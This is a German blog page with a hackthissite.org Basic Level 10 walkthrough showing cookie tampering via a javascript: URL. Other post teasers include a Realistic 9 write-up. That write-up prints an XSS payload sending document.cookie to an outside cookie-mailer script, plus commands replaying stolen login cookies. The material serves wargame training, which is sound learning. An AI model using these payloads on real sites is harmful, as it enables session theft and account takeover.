hackthissite.org Level 10 Basic Lösung

m Level 10 wird es etwas tricky.
Hier bekommst du nur den wink dass du dir das cookie und die Seiteninfos anschauen sollst.
Also machen wir dass doch mal.
Und bei den cookies wirs du mit Sicherheit fündig dort gibt es den Eintrag:
level10_authorized = no.
Also wir müssen nur diesen Wert auf yes setzen und die Seite erneut aufrufen damit wir
dieses Level geknackt haben.

Am einfachsten änderst du dass cookie in dem du in der URL deines Browsers folgendes eingibst.
Also wichtig ist, die adresse von hackthissite.org solltest du kurz entfernen aber noch auf der Seite bleiben und folgendes eingeben:
javascript:document.cookie="level10_authorized=yes";alert("OK");

So nun führst du auf der Seite vom level10 Java Script Code aus. In unserem falle wird jetzt dass cookie mit dem Wert yes gesetzt damit man dieses level abgeschlossen hat!

Es gibt noch ne Möglichkeit via http header aber die finde ich zu unständlich dieses schnelle javascript ist einfacher ;-)

Kommentare

Beliebte Posts aus diesem Blog

Das Land Baden-Württemberg als heimlicher Simpsons Fan!!

sdadsdsaads' type="hidden"> Das Land Baden-Württemberg mag die Simpsons doch sehr! Chief Wiggum als Minister?? Aber hier schaut euch doch selbst die Meldung an ! Baden-Würrtemberg und die Simpson Ja dass ist selbstverständlich keine Meldung des Landes Baden-Württemberg, das ist doch irgendwie von vorne rein klar?? Oder etwa nicht? Das zeigt mal wieder wie unschön große Agenturen arbeiten..... Ah für alle die das hier irgendwie interessant finden, ich, also der Autor bin momentan auf der Suche nach einer neuen Arbeitsstelle!! Am liebsten als Penetrationstester in einer Sicherheitsfirma aber gerne auch bei Internet Firmen welche Ihre Seiten immer sicher haben wollen ;-) Mein schwerpunkt liegt bei den Web-Applicationen. Und in der Programmierung kenne ich mich bestens in PHP, Java, HTML (kombi AJAX).Und einigermaßen kann ich auch C, wird aber ständig verbessert! Bei interesse einfach mal ne mail senden..... Ps: Ich weiß wie man...

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben. Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden. Simple Google Shopping Extension

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

hack1n9

Dieses Blog durchsuchen